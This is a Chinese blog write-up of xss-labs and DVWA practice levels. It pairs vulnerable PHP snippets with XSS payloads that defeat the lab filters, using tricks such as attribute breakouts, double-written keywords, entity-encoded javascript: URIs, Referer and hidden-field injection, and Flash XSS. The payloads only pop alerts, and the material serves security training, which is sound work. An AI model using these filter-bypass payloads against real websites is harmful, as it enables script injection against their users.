xss练习记录

xss-lab

level2 构造闭合绕过

校验代码
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

在这里插入图片描述

网页源码
payload
" onclick=alert(1)>     需要点击一下输入框。(点击事件-JS知识点)
" onmouseover=alert(1)>   需要要鼠标滑过输入框(鼠标事件-JS知识点)
或者:"><script>alert(/xss/)</script>

分析可知,可控点1因为htmlspecialchars()实体化,所以无法利用,考虑在可控点2利用
注意:这里是典型的搜索框xss,搜索框xss经常会出现两处可控点(输入点、展示点)

level3 实体化的绕过

在这里插入图片描述

校验代码 //可以从这个看到value值也被实体化 而且value是以单引号结束 但是htmlspecialchars默认配置是不过滤单引号。只有设置了:quotestyle,才可以 那么可以用单引号闭合并且不能包含<>
payload
1、' οnclick='alert()【最简单,推荐】
2、' οnclick=alert(1)%0a  【 %0a用做换行使得input标签语法正确,主要是因为过滤了“>”,但是这里注意,浏览器会将%转换成%25,需要burp拦截删除25才能起到换行作用。】
3、' onclick=alert(1)  '【最后单引号形成独立空属性,使标签成为完整标签,可以正常解析】  

在这里插入图片描述

payload3的html源码

level5 script限制、on事件限制、大小写限制

在这里插入图片描述

校验代码分析

此处没办法使用on事件了,所以我们不能利用第四关的payload了上面先转化为小写然后替换 ,所以将<script>大写也无用,此处重新构建payload

payload

level7 大小写绕过

在这里插入图片描述

校验代码分析
payload
"><a HREF=javascript:alert()>test</a>
"><svg Onclick=alert(1)>【svg是矢量图标签,无图情况下,需要点击上一个标签后面的空白位置】

level7 双写绕过

在这里插入图片描述

校验代码分析
payload
"><a hrhrefef=javascrscriptipt:alert()>test</a>
"><scrscriptipt>alert()</scrscriptipt>
" oonnclick="window.alert() 

level8 各种特殊字符被ban、javascipt伪协议+实体编码绕过

在这里插入图片描述

校验代码分析
没有过滤:'  >  <  %  &  #,过滤了:"  src  on  script  data。输出点在a标签内,href属性中,属性中双引号被转换
HTML实体,无法截断属性,很明显,我们想到了协议绕过javascript:alert,由于script关键字被过滤,伪协议后面
可以使用html的实体编码。
(注:javascript:这个伪协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。)
payload:
javascrip&#x74;:alert(1)
javasc&#x72;ipt:alert(1)
javasc&#x0072;ipt:alert(1)

此处的实体编码解释
实体编码在线转换

level9 各种特殊字符被ban、javascipt伪协议+实体编码绕过

在这里插入图片描述
和上一题一样,只不过多了一个自动检测url,如果发现没有带http:// 内容则会显示不合法, 那么怎么可以既有它,又不让它执行呢?只需填加个注释,(可选择多行注释和单行注释)包含http://就行了,构造payload:(强调一点构造的payload前面不要有空格,否则点击超链接会没有反应)

javascri&#x0070;t:alert(1) /*http:// */ 
javascri&#x0070;t:alert(1) //http://

level10 隐藏控件xss

在这里插入图片描述
从源代码中,我们了解到只有两个url参数是有效的,分别是keyword和t_sort,且标签input被隐藏了,而我们的渗透点在t_sort参数上,所以我们构造payload:

payload
t_sort=" οnclick="alert()" type="text【这里的type覆盖了后面的hidden】
t_sort=" onclick=alert()%0A【xss有时候会有各种奇怪的绕过方式,可以大胆组合Fuz尝试】

实际每个变量只能一一尝试,看是否可以xss

level11 隐藏控件xss、修改referer

在这里插入图片描述
根据HTTP_REFERER 参数想到了HTTP头,那么我们可以在请求头进行XSS注入,这一关很显然注入点在Referer,那么我们可以使用burpsuitex修改referer
在这里插入图片描述

添加referer
payload
123456" οnmοuseοver=alert(1) type="text"
" type="text" οnclick="alert()

level14 exif利用

在这里插入图片描述

这一关玩不了了,网址已经失效了。这一关主要是:考察EXIF XSS 漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。
exif下的xss简介

level15 ng-include利用

在这里插入图片描述
发现src参数,查看源码发现把参数拼接到了最后一行输出,那这里应该是突破口了
这里估计使用ng-include,这个属性可以包含文件,默认是同域名的文件

那我们包含level1.php加上参数即可

payload:level15.php?src=‘level1.php?name=

因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问,根本没法实现。这里借用网上一张截图,是可以成功利用的
在这里插入图片描述

level16 空格绕过

在这里插入图片描述
查看第16关的代码,发现输入的东西经过了大小写的转换并且通过四次的替换检查,分别对script,空格,/,进行了替换,但是有一点很重要,尖括号没有被替换,这给我们留下很大的利用空间。

另外script被替代,我们可以使用img标签,剩下我们就需要考虑如何把空格的影响给去掉,这时候就需要使用编码来进行绕过了,可以选择%0d %0a (表会回车换行)进行绕过,构造出最后的payload

<img%0dsrc=1%0dοnclick="alert(1)">
<img%0asrc=1%0aοnerrοr=alert(1)>

level17 embed的利用

在这里插入图片描述
分析一下代码,发现输出点都进行了防护,对尖括号以及双引号进行了转义,但是不影响我们利用。标签定义嵌入的内容,比如插件,所以这里我们可以使用on事件去进行触发,但是首先得用b去闭合前面的等号.

arg01=a&arg02=b onmouseover=alert(1)

level19 flash xss

【此题未实践,后续再补充】
在这里插入图片描述
这题不仔细看以为会和前两关一样实际上,实际上,难度已经提升了,已经触及到我的知识盲区了,这道题如果按照前面的写法,是无法正常闭合的。而且他还有htmlspecialchars()函数进行过滤,这一题主要是flash xss。

flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数
在这里插入图片描述
然后追踪到sIFR的内容
在这里插入图片描述
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
在这里插入图片描述
所以我们可以构造<a > </a> 标签来传值

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

在这里插入图片描述

点击123弹窗

level19 flash xss

【未实践,后续再补充】
在这里插入图片描述
后台源码与十九关一样,这一题也是flash xss。
本题也属于Flash XSS,将xsf04.swf文件分析得知分析得知是zeroclipboard.swf

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

在这里插入图片描述

payload可用

在这里插入图片描述

成功后的html源码

思考角度

script标签很容易给限制,所以最开始尝试svg或者a标签,检测是否有实体化等其他限制;
通过观察html源码,分析校验方式,尝试绕过;

注意

具有XML属性的文件基本上都可以执行javascript并且是通用的:<a:script xmlns:a=“http://www.w3.org/1999/xhtml”>alert(1337)</a:script>
当然svg文件不也例外。{不理解、暂时无法利用}

绕过
<%0asvg
<《svg

1-20关参考

dvwa的中等

在这里插入图片描述
select标签内只有script能执行{无论实在option内外},但限制了script,所以必须构造payload直至闭合select标签,然后再接任意其他标签来xss
可以结合参考

payload
http://172.16.33.50/dvwa/vulnerabilities/xss_d/?default=aaa>/option></select><img src=1 onerror=alert(/xss/)>
dvwa高等

在这里插入图片描述
记录一个有意思的地方

payload
?default=English #<script>alert(/xss/)</script>
不太理解,待解决

神奇记录

<a>记录
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>


xss利用编码绕过

本博客由自己实验,并参考部分博文写成。如有作者觉得侵权,请联系本人删除。
有些东西只是自己的猜测,如果有不正确的地方,欢迎各位大佬指正。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值